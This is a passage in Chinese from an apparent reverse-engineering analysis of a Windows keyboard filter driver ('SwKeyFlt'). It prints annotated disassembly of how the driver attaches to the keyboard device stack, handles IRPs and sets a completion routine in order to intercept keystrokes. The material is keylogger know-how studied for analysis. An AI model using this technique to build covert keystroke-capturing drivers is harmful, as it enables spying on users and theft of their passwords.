盘的驱动名为\Driver\kbdhid,使用 IoGetDeviceObjectPointer 也无法得到设备对象,因
此这个驱动也有一定的不足之处。
mov edx, [ebp+TargetDevice]
mov dword_1151C, edx
mov ecx, [ebp+Object] ; Object
call ds:ObfDereferenceObject
push offset aSwkeyfltAttach ; "SwKeyFlt: Attach Device. \n"
call DbgPrint
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+TargetDevice]
push eax ; TargetDevice
mov ecx, [ebp+SourceDevice]
push ecx ; 源设备
call ds:IoAttachDeviceToDeviceStack 将设备附加到设备栈中
mov TargetDevice, eax
cmp TargetDevice, 0
jz short loc_10931
最后驱动调用IoCompleteRequest来完成这个IRP调用
mov ecx, [ebp+Irp]
mov dword ptr [ecx+18h], 0
mov edx, [ebp+Irp]
mov dword ptr [edx+1Ch], 0
xor dl, dl ; PriorityBoost
mov ecx, [ebp+Irp] ; Irp
call ds:IofCompleteRequest
在驱动的分发例程当中有如下代码:
push offset aSwkeyfltDispat ; "SwKeyFlt: DispatchRead Start \n"
call DbgPrint
add esp, 4
mov eax, [ebp+Irp] ;得到当前调用者堆栈的指针
mov ecx, [eax+60h] ;下一个 I/O堆栈单元
mov [ebp+var_8], ecx
mov edx, [ebp+Irp]
mov eax, [edx+60h]
sub eax, 24h
mov [ebp+var_4], eax
mov esi, [ebp+var_8]
mov ecx, 9
mov edi, [ebp+var_4]
IoCallDriver 将参数 Irp 的 +23 char CurrentLocation 减 1,然后检查这时的
CurrentLocation 是否大于 0。如果不大于 0,将蓝屏。接着将参数 Irp 的 +60 struct
_IO_STACK_LOCATION *CurrentStackLocation 减 0x24 。这里原来是一个
IO_STACK_LOCATION 的地址,0x24 是一个 IO_STACK_LOCATION 结构的大小。这样减 0x24
就等于把 +60 struct _IO_STACK_LOCATION *CurrentStackLocation 指向了前一个
IO_STACK_LOCATION。然后将新的 CurrentStackLocation 的 +14 struct _DEVICE_OBJECT
*DeviceObject 赋值为传入的参数 DeviceObject 。从传入的参数 DeviceObject 中获得该
DeviceObject 的 DriverObject,调用该 DriverObject 的新的 CurrentStackLocation 的
+00 byte MajorFunction 相应的 MajorFunction ,用传入的两个参数 IN PDEVICE_OBJECT
DeviceObject,IN OUT PIRP Irp 做参数。
push 1
push 1
push 1
mov ecx, [ebp+arg_0]
push ecx
push offset sub_10CD0 ;IoSetCompleteRoutine
mov edx, [ebp+Irp]
push edx
call sub_10BF0
mov edx, [ebp+Irp] ; Irp
mov ecx, TargetDevice ; DeviceObject
call ds:IofCallDriver
之后驱动再调用 IoSetCompleteRoutine 建立一个完整的完成例程,这个例程究竟做了
些什么呢?往下看:
mov eax, [ebp+Irp]
mov cl, [eax+23h]
add cl, 1
mov edx, [ebp+Irp]
mov [edx+23h], cl
mov eax, [ebp+Irp]
mov ecx, [eax+60h]; IoSkipCurrentIrpStackLocation跳过当前IRP
add ecx, 24h
mov edx, [ebp+Irp]
mov [edx+60h], ecx
mov edx, [ebp+Irp] ; Irp
mov ecx, TargetDevice ; DeviceObject
call ds:IofCallDriver
mov [ebp+var4], eax
驱动的所作所为已经很明显了,驱动先将自身附加到驱动层上,和键盘挂钩,同时截获键盘 |